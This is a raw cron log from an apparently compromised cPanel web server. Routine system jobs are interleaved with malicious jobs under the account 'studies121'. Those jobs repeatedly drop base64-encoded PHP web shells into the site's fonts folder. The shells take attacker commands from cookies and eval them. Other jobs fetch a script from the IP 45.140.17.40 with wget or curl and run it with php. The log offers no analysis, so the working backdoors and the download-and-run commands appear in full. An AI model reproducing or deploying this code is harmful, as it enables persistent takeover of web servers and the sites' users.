Sep  4 00:55:01 ip-184-168-122-23 CROND[25259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:55:01 ip-184-168-122-23 CROND[25257]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:55:02 ip-184-168-122-23 CROND[25258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:55:02 ip-184-168-122-23 CROND[25260]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:55:02 ip-184-168-122-23 CROND[25261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:55:02 ip-184-168-122-23 CROND[25262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:56:01 ip-184-168-122-23 CROND[25353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:56:01 ip-184-168-122-23 CROND[25355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:56:01 ip-184-168-122-23 CROND[25356]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:56:01 ip-184-168-122-23 CROND[25358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:56:01 ip-184-168-122-23 CROND[25357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:57:01 ip-184-168-122-23 CROND[25438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:57:01 ip-184-168-122-23 CROND[25441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:57:01 ip-184-168-122-23 CROND[25440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:57:01 ip-184-168-122-23 CROND[25442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:58:01 ip-184-168-122-23 CROND[25567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:58:01 ip-184-168-122-23 CROND[25568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:58:01 ip-184-168-122-23 CROND[25569]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:58:01 ip-184-168-122-23 CROND[25574]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:58:01 ip-184-168-122-23 CROND[25572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:59:01 ip-184-168-122-23 CROND[25694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:59:01 ip-184-168-122-23 CROND[25695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:59:01 ip-184-168-122-23 CROND[25696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:59:01 ip-184-168-122-23 CROND[25697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:00:01 ip-184-168-122-23 CROND[25776]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 01:00:01 ip-184-168-122-23 CROND[25779]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:00:01 ip-184-168-122-23 CROND[25783]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:00:01 ip-184-168-122-23 CROND[25785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:00:01 ip-184-168-122-23 CROND[25787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:00:01 ip-184-168-122-23 CROND[25786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:00:01 ip-184-168-122-23 CROND[25784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:00:01 ip-184-168-122-23 CROND[25781]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:01:01 ip-184-168-122-23 CROND[25895]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25895]: starting 0anacron
Sep  4 01:01:01 ip-184-168-122-23 CROND[25901]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 01:01:01 ip-184-168-122-23 CROND[25903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:01:01 ip-184-168-122-23 CROND[25902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:01:01 ip-184-168-122-23 CROND[25904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:01:01 ip-184-168-122-23 CROND[25905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:01:01 ip-184-168-122-23 anacron[25916]: Anacron started on 2026-09-04
Sep  4 01:01:01 ip-184-168-122-23 anacron[25916]: Normal exit (0 jobs run)
Sep  4 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25918]: finished 0anacron
Sep  4 01:02:01 ip-184-168-122-23 CROND[25994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:02:01 ip-184-168-122-23 CROND[25995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:02:01 ip-184-168-122-23 CROND[25997]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:02:01 ip-184-168-122-23 CROND[25996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:02:01 ip-184-168-122-23 CROND[25998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:03:01 ip-184-168-122-23 CROND[26085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:03:01 ip-184-168-122-23 CROND[26087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:03:01 ip-184-168-122-23 CROND[26089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:03:01 ip-184-168-122-23 CROND[26090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:04:02 ip-184-168-122-23 CROND[26169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:04:02 ip-184-168-122-23 CROND[26171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:04:02 ip-184-168-122-23 CROND[26172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:04:02 ip-184-168-122-23 CROND[26170]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:04:02 ip-184-168-122-23 CROND[26173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:05:01 ip-184-168-122-23 CROND[26258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:05:01 ip-184-168-122-23 CROND[26259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:05:01 ip-184-168-122-23 CROND[26262]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:05:01 ip-184-168-122-23 CROND[26265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:05:01 ip-184-168-122-23 CROND[26266]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:05:01 ip-184-168-122-23 CROND[26263]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 01:05:01 ip-184-168-122-23 CROND[26264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:06:01 ip-184-168-122-23 CROND[26438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:06:01 ip-184-168-122-23 CROND[26439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:06:01 ip-184-168-122-23 CROND[26440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:06:01 ip-184-168-122-23 CROND[26441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:06:01 ip-184-168-122-23 CROND[26444]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:07:01 ip-184-168-122-23 CROND[26524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
